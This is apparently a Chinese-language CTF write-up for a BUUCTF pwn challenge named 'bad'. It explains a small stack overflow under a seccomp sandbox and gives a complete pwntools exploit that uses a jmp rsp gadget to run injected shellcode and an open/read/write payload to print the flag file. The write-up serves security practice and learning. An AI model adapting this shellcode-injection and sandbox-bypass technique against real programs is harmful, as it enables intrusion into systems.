有可执行的bss段
申请了一个mmap,
看来是沙箱,我刚开始没注意。。。
溢出只有0x18个对吧,所以只能迁移,往哪迁移呢?这里有两个选择,一个是bss段还一个是mmap,两个都行,然后是栈可执行的,所以我们可以往栈上写指令,问题又来了怎么控制我们的程序执行流。我刚开始是想控制read和leave控制然后往mmap写shellcode,但是这里执行时rdi是1所以没成功。这道题目查了之后才发现
jmp rsp 天无绝人之路
from pwn import*
context.arch ="amd64"
context.log_level = 'debug'
def debug():
gdb.attach(io)
pause()
io = remote("node4.buuoj.cn",28625)
#io = process("./bad")
elf =ELF("./bad")
mmap_addr = 0x6010A8 #0x123000也行
offset = 0x20
jmp_rsp = 0x0400A01
payload1 = asm(shellcraft.read(0,mmap_addr,0x100) + 'mov rax,0x6010A8;call rax')
payload1 = payload1.ljust((offset + 8),b"A")
payload1 += p64(jmp_rsp) + asm("sub rsp,0x30;jmp rsp")
io.sendafter("have fun!\n",payload1)
payload2 = asm(shellcraft.open("./flag"))
payload2 += asm(shellcraft.read(3,mmap_addr,0x30))
payload2 += asm(shellcraft.write(1,mmap_addr,0x30))
io.send(payload2)
io.interactive()
asm("sub rsp,0x30;jmp rsp")
可能这句话比较难明白,程序调试后rsp 已经经过leave回到了rbp那个地址然后还有个ret总共0x10所以最后是sub rsp ,0x30
seccomp-tools的安装
sudo apt install gcc ruby-dev
sudo gem install seccomp-tools